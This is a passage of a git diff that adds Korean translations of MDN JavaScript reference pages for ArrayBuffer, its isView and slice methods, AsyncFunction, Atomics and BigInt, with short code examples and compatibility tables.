+<p>ArrayBuffer는 바이트로 구성된 배열로, 다른 언어에서는 종종 "바이트 배열"이라고 부릅니다. <code>ArrayBuffer</code>에 담긴 정보를 직접 수정하는 것은 불가능하지만, 대신 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/TypedArray">형식화 배열</a>이나 {{jsxref("DataView")}} 객체를 통해 버퍼를 특정 형식으로 나타내고, 이를 통해 버퍼의 내용을 읽거나 쓸 수 있습니다.</p>
+
+<p>{{jsxref("ArrayBuffer.ArrayBuffer", "ArrayBuffer()")}} 생성자는 주어진 길이를 가진 새로운 <code>ArrayBuffer</code>를 생성합니다. 또한 Base64 문자열이나 <a href="/ko/docs/Web/API/FileReader/readAsArrayBuffer">로컬 파일</a>처럼 기존 데이터에서 배열 버퍼를 생성할 수도 있습니다.</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{jsxref("ArrayBuffer.ArrayBuffer", "ArrayBuffer()")}}</dt>
+ <dd>새로운 <code>ArrayBuffer</code> 객체를 생성합니다.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>ArrayBuffer.length</code></dt>
+ <dd><code>ArrayBuffer</code> 생성자의 길이 속성으로, 값은 1입니다.</dd>
+ <dt>{{jsxref("ArrayBuffer.@@species", "get ArrayBuffer[@@species]")}}</dt>
+ <dd>파생 객체를 생성할 때 사용할 생성자 함수입니다.</dd>
+ <dt><code>ArrayBuffer.prototype</code></dt>
+ <dd>모든 <code>ArrayBuffer</code> 객체에 속성을 추가할 수 있습니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("ArrayBuffer.isView()")}}</dt>
+ <dd>주어진 매개변수가 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/TypedArray">형식화 배열</a> 객체 또는 {{jsxref("DataView")}}와 같은 <code>ArrayBuffer</code>의 뷰면 <code>true</code>를, 아니면 <code>false</code>를 반환합니다.</dd>
+ <dt>{{jsxref("ArrayBuffer.transfer()")}} {{experimental_inline}}</dt>
+ <dd>주어진 버퍼의 내용으로 새로운 버퍼를 만들고, 그 길이를 지정한 길이만큼 자르거나 확장(0 초기화)한 후 반환합니다.</dd>
+</dl>
+
+<h2 id="인스턴스">인스턴스</h2>
+
+<p>모든 <code>ArrayBuffer</code> 인스턴스는 <code>ArrayBuffer.prototype</code>을 상속합니다.</p>
+
+<h3 id="속성_2">속성</h3>
+
+<dl>
+ <dt><code>ArrayBuffer.prototype.constructor</code></dt>
+ <dd>객체의 프로토타입을 생성하는 함수를 지정합니다. 초깃값은 내장 <code>ArrayBuffer</code> 생성자입니다.</dd>
+ <dt>{{jsxref("ArrayBuffer.prototype.byteLength")}} {{readonlyInline}}</dt>
+ <dd><code>ArrayBuffer</code>의 바이트 길이입니다. 처음 생성 시 정해지며 변경할 수 없습니다.</dd>
+</dl>
+
+<h3 id="메서드_2">메서드</h3>
+
+<dl>
+ <dt>{{jsxref("ArrayBuffer.prototype.slice()")}}</dt>
+ <dd><code>ArrayBuffer</code>를 지정한 위치에서 잘라낸 새로운 <code>ArrayBuffer</code>를 반환합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 코드는 8바이트 버퍼를 생성하고, {{jsxref("Global_Objects/Int32Array", "Int32Array")}} 뷰로 그 버퍼를 참조합니다.</p>
+
+<pre class="brush: js">const buffer = new ArrayBuffer(8);
+const view = new Int32Array(buffer);</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-arraybuffer-objects', 'ArrayBuffer')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.ArrayBuffer")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Typed_arrays" title="en/JavaScript typed arrays">JavaScript 형식화 배열</a></li>
+ <li>{{jsxref("SharedArrayBuffer")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/arraybuffer/isview/index.html b/files/ko/web/javascript/reference/global_objects/arraybuffer/isview/index.html
new file mode 100644
index 0000000000..c68d5e0ef3
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/arraybuffer/isview/index.html
@@ -0,0 +1,76 @@
+---
+title: ArrayBuffer.isView()
+slug: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/isView
+tags:
+ - ArrayBuffer
+ - JavaScript
+ - Method
+ - Reference
+ - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/isView
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>ArrayBuffer.isView()</strong></code> 메서드는 주어진 값이 <code>ArrayBuffer</code> 뷰, 즉 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray">형식화 배열 객체</a> 또는 {{jsxref("DataView")}}인지 판별합니다..</p>
+
+<div>{{EmbedInteractiveExample("pages/js/arraybuffer-isview.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">ArrayBuffer.isView(<em>value</em>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>판별할 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>주어진 값이 {{jsxref("ArrayBuffer")}} 뷰라면 <code>true</code>, 아니면 <code>false</code>.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">ArrayBuffer.isView(); // false
+ArrayBuffer.isView([]); // false
+ArrayBuffer.isView({}); // false
+ArrayBuffer.isView(null); // false
+ArrayBuffer.isView(undefined); // false
+ArrayBuffer.isView(new ArrayBuffer(10)); // false
+
+ArrayBuffer.isView(new Uint8Array()); // true
+ArrayBuffer.isView(new Float32Array()); // true
+ArrayBuffer.isView(new Int8Array(10).subarray(0, 3)); // true
+
+const buffer = new ArrayBuffer(2);
+const dv = new DataView(buffer);
+ArrayBuffer.isView(dv); // true
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-arraybuffer.isview', 'ArrayBuffer.isView')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.ArrayBuffer.isView")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Typed_arrays" title="en/JavaScript typed arrays">JavaScript 형식화 배열</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/arraybuffer/slice/index.html b/files/ko/web/javascript/reference/global_objects/arraybuffer/slice/index.html
new file mode 100644
index 0000000000..6c286be9aa
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/arraybuffer/slice/index.html
@@ -0,0 +1,77 @@
+---
+title: ArrayBuffer.prototype.slice()
+slug: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/slice
+tags:
+ - ArrayBuffer
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer/slice
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>slice()</strong></code> 메서드는 현재 <code>ArrayBuffer</code>를 주어진 시작과 끝점에 맞춰 자른 새로운 <code>ArrayBuffer</code>를 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/arraybuffer-slice.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>arraybuffer</em>.slice(<em>begin</em>[, <em>end</em>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>begin</code></dt>
+ <dd>자르기 시작할 지점을 나타내는 0 기반 인덱스.</dd>
+</dl>
+
+<dl>
+ <dt><code>end</code> {{optional_inline}}</dt>
+ <dd>자르기 끝낼 지점을 나타내는 바이트 인덱스. 지정하지 않은 경우 새로운 <code>ArrayBuffer</code>는 지정한 시작점부터 현재 <code>ArrayBuffer</code>의 끝까지 가지게 됩니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>새로운 {{jsxref("ArrayBuffer")}} 객체.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>slice()</code> 메서드는 <code>end</code> 매개변수로 지정한 바이트 위치 바로 앞까지 현재 배열 버퍼를 복사합니다. <code>begin</code>과 <code>end</code>는 음의 값인 경우 배열의 시작부터 위치를 세지 않고 끝에서부터 셉니다.</p>
+
+<p><code>end</code> 값이 유효한 범위를 벗어날 경우 버퍼 길이에 맞춰 잘라냅니다. 또한 새로운 ArrayBuffer의 길이가 음의 값이 나올 경우 0으로 처리합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="ArrayBuffer_복사하기"><code>ArrayBuffer</code> 복사하기</h3>
+
+<pre class="brush: js">const buf1 = new ArrayBuffer(8);
+const buf2 = buf1.slice(0);
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-arraybuffer.prototype.slice', 'ArrayBuffer.prototype.slice')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.ArrayBuffer.slice")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/asyncfunction/index.html b/files/ko/web/javascript/reference/global_objects/asyncfunction/index.html
new file mode 100644
index 0000000000..9578d2e534
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/asyncfunction/index.html
@@ -0,0 +1,125 @@
+---
+title: AsyncFunction
+slug: Web/JavaScript/Reference/Global_Objects/AsyncFunction
+tags:
+ - JavaScript
+translation_of: Web/JavaScript/Reference/Global_Objects/AsyncFunction
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Async</strong></code><strong><code>Function</code> 생성자는</strong> 새로운 {{jsxref("Statements/async_function", "async function")}} 객체를 만든다. 자바스크립트에서 모든 비동기 함수는 사실상 AsyncFunction 객체이다.</p>
+
+<p><code>AsyncFunction</code>이 전역변수가 아님에 주의한다. 다음코드를 보면 알 수 있다. </p>
+
+<pre class="brush: js">Object.getPrototypeOf(async function(){}).constructor
+</pre>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">new AsyncFunction([<var>arg1</var>[, <var>arg2</var>[, ...<var>argN</var>]],] <var>functionBody</var>)</pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<dl>
+ <dt><code>arg1, arg2, ... arg<em>N</em></code></dt>
+ <dd>인수의 이름들은 함수내에서 사용되는 이름이다. 이름은 자바스크립트 식별자 로 유용한 문자열이거나 컴마로 구분된 문자열 목록이어야 한다. 예를들면 "x","theValue",or"a,b"와 같다.</dd>
+ <dt><code>functionBody</code></dt>
+ <dd>함수 정의를 구성하는 자바스크립트 명령문들로 구성된 문자열.</dd>
+</dl>
+
+<h2 id="상세설명">상세설명</h2>
+
+<p>AsyncFunction 생성자를 통해 만들어진 {{jsxref("Statements/async_function", "async function")}} 객체는 함수가 만들어질때 분석된다. 이방법에서는 코드가 실행되지 않을 때도 작동하기 때문에 {{jsxref("Statements/async_function", "async function expression")}} 으로 비동기함수를 정의하고 해당 코드에서 호출할 때보다 비효율적이다.</p>
+
+<p>함수에 전달된 모든 인수들은 전달된 순서대로 함수내에서 인수이름으로 식별자가 생성된 것처럼 다루어진다.</p>
+
+<div class="note">
+<p><strong>주의:</strong> <code>AsyncFunction</code> 생성자로 만들어진 {{jsxref("Statements/async_function", "async functions")}} 객체는 클로저를 생성 컨텍스트에 만들지 않는다; 이 객체들은 항상  전역 범위에서 생성됩니다. </p>
+
+<p><font><font>이객체들을 실행할 때,  </font></font><code>AsyncFunction</code><font><font>생성자가 호출 </font><font>된 범위의 변수가 아니라 자신의 지역 변수와 전역 변수에만 액세스 할 수 있습니다 </font><font>.</font></font></p>
+
+<p><font><font>이것은 비동기 함수 표현식을위한 코드와 함께 {{jsxref ( "Global_Objects / eval", "eval")}}을 사용하는 것과 다릅니다.</font></font></p>
+</div>
+
+<p><code>AsyncFunction</code> 생성자를 (<code>new</code> 연산자를 사용하지 않고) 함수로 호출하는 것과 생성자로 동작시키는 것은 동일하다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code><strong>AsyncFunction.length</strong></code></dt>
+ <dd><code>AsyncFunction</code> 생성자의 <code>length</code> 속성(이 값은 1임).</dd>
+ <dt><strong><code>AsyncFunction.prototype</code></strong></dt>
+ <dd>모든 비동기 함수 객체에 속성을 추가할 수 있도록 함.</dd>
+ <dt><code><strong>AsyncFunction.constructor</strong></code></dt>
+ <dd>초기값은 {{jsxref("AsyncFunction")}}임.</dd>
+ <dt><code><strong>AsyncFunction.prototype[@@toStringTag]</strong></code></dt>
+ <dd>"AsyncFunction"을 반환.</dd>
+</dl>
+
+<h2 id="AsyncFunction_인스턴스"><code>AsyncFunction 인스턴스</code></h2>
+
+<p><code>AsyncFunction</code> 인스턴스는 <code>AsyncFunction.prototype</code> 에서ㅜ메소드와 속성을 상속받는다.</p>
+
+<p>여느 생성자에서와 같이 모든 <code>AsyncFunction</code> 인스턴스들을 수정할 수 있도록 생성자의 <code>prototype</code> 객체를 수정할 수 있다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="AsyncFunction_생성자를_통한_비동기_함수_만들기"><code>AsyncFunction</code> 생성자를 통한 비동기 함수 만들기</h3>
+
+<pre>function resolveAfter2Seconds(x) {
+ return new Promise(resolve =&gt; {
+ setTimeout(() =&gt; {
+ resolve(x);
+ }, 2000);
+ });
+}
+
+let AsyncFunction = Object.getPrototypeOf(async function(){}).constructor
+
+let a = new AsyncFunction('a',
+ 'b',
+ 'return await resolveAfter2Seconds(a) + await resolveAfter2Seconds(b);');
+
+a(10, 20).then(v =&gt; {
+ console.log(v); // 4초 후에 30을 출력
+});</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-async-function-objects', 'AsyncFunction object')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td>Initial definition in ES2017.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("javascript.builtins.AsyncFunction")}}</p>
+
+
+
+<h2 id="참고_문서">참고 문서</h2>
+
+<ul>
+ <li>{{jsxref("Statements/async_function", "async function function")}}</li>
+ <li>{{jsxref("Operators/async_function", "async function expression")}}</li>
+ <li>{{jsxref("Global_Objects/Function", "Function")}}</li>
+ <li>{{jsxref("Statements/function", "function statement")}}</li>
+ <li>{{jsxref("Operators/function", "function expression")}}</li>
+ <li>{{jsxref("Functions_and_function_scope", "Functions and function scope", "", 1)}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/atomics/index.html b/files/ko/web/javascript/reference/global_objects/atomics/index.html
new file mode 100644
index 0000000000..6f155e8272
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/atomics/index.html
@@ -0,0 +1,162 @@
+---
+title: Atomics
+slug: Web/JavaScript/Reference/Global_Objects/Atomics
+translation_of: Web/JavaScript/Reference/Global_Objects/Atomics
+---
+<div>{{JSRef}} {{SeeCompatTable}}</div>
+
+<div><strong>Atomics 오브젝트</strong>는 atomic operations  정적메소드로서 제공됩니다. 다음과 같은 오브젝트와 함께 {{jsxref("SharedArrayBuffer")}} 사용합니다.</div>
+
+<p>Atomic operations Atomic Module을 인스톨해야합니다. 다른 global objects들과 다르게 Atomic은 constructor가 아닙니다. <strong>new operator</strong>를 사용하면 안되고 invoke Atomics object 함수로 사용하면됩니다. Atomics의 속성과 함수들은 static입니다.  (as is the case with the {{jsxref("Math")}} object, for example).</p>
+
+<h2 id="Methods">Methods</h2>
+
+<h3 id="Atomic_operations">Atomic operations</h3>
+
+<p>메모리가 공유되었을때, 멀티쓰레드는 메모리안에 같은 데이터들을 읽거나 쓸 수 있습니다.<br>
+ Atomic operations은 예측 가능한 값을 쓰고 읽으며 다음 작업이 시작되기 전에 작업이 완료되고,작업이 중단되지 않도록합니다.</p>
+
+<dl>
+ <dt>{{jsxref("Atomics.add()")}}</dt>
+ <dd>Adds a given value at a given position in the array. Returns the old value at that position.</dd>
+ <dt>{{jsxref("Atomics.and()")}}</dt>
+ <dd>Computes a bitwise AND at a given position in the array. Returns the old value at that position.</dd>
+ <dt>{{jsxref("Atomics.compareExchange()")}}</dt>
+ <dd>Stores a given value at a given position in the array, if it equals a given value. Returns the old value.</dd>
+ <dt>{{jsxref("Atomics.exchange()")}}</dt>
+ <dd>Stores a given value at a given position in the array. Returns the old value.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Atomics.load()")}}</dt>
+ <dd>Returns the value at the given position in the array.</dd>
+ <dt>{{jsxref("Atomics.or()")}}</dt>
+ <dd>Computes a bitwise OR at a given position in the array. Returns the old value at that position.</dd>
+ <dt>{{jsxref("Atomics.store()")}}</dt>
+ <dd>Stores a given value at the given position in the array. Returns the value.</dd>
+ <dt>{{jsxref("Atomics.sub()")}}</dt>
+ <dd>Subtracts a given value at a given position in the array. Returns the old value at that position.</dd>
+ <dt>{{jsxref("Atomics.xor()")}}</dt>
+ <dd>Computes a bitwise XOR at a given position in the array. Returns the old value at that position.</dd>
+</dl>
+
+<h3 id="Wait_and_wake">Wait and wake</h3>
+
+<p>The <code>wait()</code> and <code>wake()</code> methods are modeled on Linux futexes ("fast user-space mutex") and provide ways for waiting until a certain condition becomes true and are typically used as blocking constructs.</p>
+
+<dl>
+ <dt>{{jsxref("Atomics.wait()")}}</dt>
+ <dd>
+ <p>Verifies that a given position in the array still contains a given value and sleeps awaiting or times out. Returns either <code>"ok"</code>, <code>"not-equal"</code>, or <code>"timed-out"</code>. If waiting is not allowed in the calling agent then it throws an Error exception (most browsers will not allow <code>wait()</code> on the browser's main thread).</p>
+ </dd>
+ <dt>{{jsxref("Atomics.wake()")}}</dt>
+ <dd>Wakes up some agents that are sleeping in the wait queue on the given array position. Returns the number of agents that were woken up.</dd>
+ <dt>{{jsxref("Atomics.isLockFree()", "Atomics.isLockFree(size)")}}</dt>
+ <dd>
+ <p>An optimization primitive that can be used to determine whether to use locks or atomic operations. Returns <code>true</code>, if an atomic operation on arrays of the given element size will be implemented using a hardware atomic operation (as opposed to a lock). Experts only.</p>
+ </dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Shared Memory', '#AtomicsObject', 'Atomics')}}</td>
+ <td>{{Spec2('Shared Memory')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}} [2]</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatGeckoDesktop("46")}} [1] [3]</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatGeckoMobile("46")}} [1]</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] This feature is disabled by a preference setting. In about:config, set <code>javascript.options.shared_memory</code> to <code>true</code>. </p>
+
+<p>[2] The implementation is under development and needs these runtime flags: <code>--js-flags=--harmony-sharedarraybuffer --enable-blink-feature=SharedArrayBuffer</code></p>
+
+<h2 id="Compatibility_notes">Compatibility notes</h2>
+
+<p>[3] The Shared memory specification is still stabilizing. Prior to SpiderMonkey 48 {{geckoRelease(48)}}, the latest API names and semantics weren't implemented yet. The changes between Firefox version 46 and version 48 are:</p>
+
+<ul>
+ <li>The methods <code>Atomics.futexWakeOrRequeue()</code> and <code>Atomics.fence()</code> are now removed entirely ({{bug(1259544)}} and {{bug(1225028)}}).</li>
+ <li>The methods {{jsxref("Atomics.wait()")}} and {{jsxref("Atomics.wake()")}} were named <code>Atomics.futexWait()</code> and <code>Atomics.futexWake()</code> ({{bug(1260910)}}). Note: The old names have been removed in version 49 and later ({{bug(1262062)}}).</li>
+ <li>The properties <code>Atomics.OK</code>, <code>Atomics.TIMEDOUT</code>, <code>Atomics.NOTEQUAL</code> have been removed. The {{jsxref("Atomics.wait()")}} method now returns the strings "ok", "timed-out" and "not-equal" ({{bug(1260835)}}).</li>
+ <li>
+ <p>The <code>count</code> parameter of the {{jsxref("Atomics.wake()")}} method has been changed: it now defaults to <code>+Infinity</code>, not <code>0</code> ({{bug(1253350)}}).</p>
+ </li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays">JavaScript typed arrays</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a></li>
+ <li><a href="https://github.com/lars-t-hansen/parlib-simple">parlib-simple </a>– a simple library providing synchronization and work distribution abstractions.</li>
+ <li><a href="https://github.com/tc39/ecmascript_sharedmem/blob/master/TUTORIAL.md">Shared Memory – a brief tutorial</a></li>
+ <li><a href="https://hacks.mozilla.org/2016/05/a-taste-of-javascripts-new-parallel-primitives/">A Taste of JavaScript’s New Parallel Primitives – Mozilla Hacks</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/bigint/bigint/index.html b/files/ko/web/javascript/reference/global_objects/bigint/bigint/index.html
new file mode 100644
index 0000000000..9a7405fac8
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/bigint/bigint/index.html
@@ -0,0 +1,62 @@
+---
+title: BigInt() 생성자
+slug: Web/JavaScript/Reference/Global_Objects/BigInt/BigInt
+tags:
+ - BigInt
+ - Constructor
+ - JavaScript
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/BigInt
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>BigInt()</code></strong> 생성자는 {{jsxref("BigInt")}} 객체를 생성합니다.</p>
+
+<h2 id="구분">구분</h2>
+
+<pre class="syntaxbox">BigInt(<em>value</em>);
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>생성하는 객체에 할당할 숫자 값. 문자열 또는 정수를 사용할 수 있습니다.</dd>
+</dl>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: <code>BigInt()</code>는 {{jsxref("Operators/new", "new")}} 연산자와 함께 사용하지 않습니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">BigInt(123);
+// 123n
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-bigint-constructor', 'BigInt constructor')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.BigInt.BigInt")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("BigInt")}} 클래스</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/bigint/index.html b/files/ko/web/javascript/reference/global_objects/bigint/index.html
new file mode 100644
index 0000000000..dcfc19e799
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/bigint/index.html
@@ -0,0 +1,280 @@
+---
+title: BigInt
+slug: Web/JavaScript/Reference/Global_Objects/BigInt
+tags:
+ - BigInt
+ - JavaScript
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/BigInt
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>BigInt</code></strong>는 {{jsxref("Number")}} 원시 값이 안정적으로 나타낼 수 있는 최대치인 2<sup>53</sup> - 1보다 큰 정수를 표현할 수 있는 내장 객체입니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>BigInt</code>는 정수 리터럴의 뒤에 <code>n</code>을 붙이거나(<code>10n</code>) 함수 <code>BigInt()</code>를 호출해 생성할 수 있습니다.</p>
+
+<pre class="brush: js">const theBiggestInt = 9007199254740991n;
+
+const alsoHuge = BigInt(9007199254740991);
+// ↪ 9007199254740991n
+
+const hugeString = BigInt("9007199254740991");
+// ↪ 9007199254740991n
+
+const hugeHex = BigInt("0x1fffffffffffff");
+// ↪ 9007199254740991n
+
+const hugeBin = BigInt("0b11111111111111111111111111111111111111111111111111111");
+// ↪ 9007199254740991n</pre>
+
+<p><code>BigInt</code>와 {{jsxref("Number")}}는 어떤 면에서 비슷하지만 중요한 차이점이 있습니다. 예컨대 <code>BigInt</code>는 내장 {{jsxref("Math")}} 객체의 메서드와 함께 사용할 수 없고, 연산에서 <code>Number</code>와 혼합해 사용할 수 없습니다. 따라서 먼저 같은 자료형으로 변환해야 합니다. 그러나, <code>BigInt</code>가 <code>Number</code>로 바뀌면 정확성을 잃을 수 있으니 주의해야 합니다.</p>
+
+<h3 id="자료형_정보">자료형 정보</h3>
+
+<p><code>BigInt</code>의 <code>typeof</code> 판별 결과는 <code>"bigint"</code>입니다.</p>
+
+<pre class="brush: js">typeof 1n === 'bigint'; // true
+typeof BigInt('1') === 'bigint'; // true
+</pre>
+
+<p>{{jsxref("Object")}}로 감싼 <code>BigInt</code>는 일반적인 <code>object</code> 자료형으로 취급합니다.</p>
+
+<pre class="brush: js">typeof Object(1n) === 'object'; // true
+</pre>
+
+<h3 id="연산자">연산자</h3>
+
+<p><code>+</code>, <code>*</code>, <code>-</code>, <code>**</code>, <code>%</code> 연산자를 <code>BigInt</code>나 객체로 감싼 <code>BigInt</code>에서 사용할 수 있습니다. <a href="/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">비트 연산자</a>도 사용할 수 있으나, 모든 <code>BigInt</code>는 부호를 가져야 하므로 <code>&gt;&gt;&gt;</code> (부호 버림 오른쪽 시프트)는 사용할 수 없습니다. <a href="https://github.com/tc39/proposal-bigint/blob/master/ADVANCED.md#dont-break-asmjs">asm.js에서 문제를 일으키지 않도록</a>, 단항 <code>+</code> 연산자도 지원하지 않습니다.</p>
+
+<pre class="brush: js">const previousMaxSafe = BigInt(Number.MAX_SAFE_INTEGER);
+// ↪ 9007199254740991
+
+const maxPlusOne = previousMaxSafe + 1n;
+// ↪ 9007199254740992n
+
+const theFuture = previousMaxSafe + 2n;
+// ↪ 9007199254740993n, this works now!
+
+const multi = previousMaxSafe * 2n;
+// ↪ 18014398509481982n
+
+const subtr = multi – 10n;
+// ↪ 18014398509481972n
+
+const mod = multi % 10n;
+// ↪ 2n
+
+const bigN = 2n ** 54n;
+// ↪ 18014398509481984n
+
+bigN * -1n
+// ↪ –18014398509481984n
+</pre>
+
+<p><code>/</code> 연산자도 정수 연산에서 예상할 수 있는 결과를 동일하게 도출합니다. 그러나 <code>BigInt</code>는 <code>BigDecimal</code>이 아니므로, 연산의 결과는 언제나 소수점 이하를 버립니다. 즉, 정수가 아닌 결과는 나오지 않습니다.</p>
+
+<div class="blockIndicator warning">
+<p>소수점 결과를 포함하는 연산을 <code>BigInt</code>와 사용하면 소수점 이하는 사라집니다.</p>
+</div>
+
+<pre class="brush: js">const expected = 4n / 2n;
+// ↪ 2n
+
+const rounded = 5n / 2n;
+// ↪ 2.5n이 아니라 2n
+</pre>
+
+<h3 id="비교">비교</h3>
+
+<p><code>BigInt</code>는 {{jsxref("Number")}}와 일치하지 않지만 동등합니다.</p>
+
+<pre class="brush: js">0n === 0
+// ↪ false
+
+0n == 0
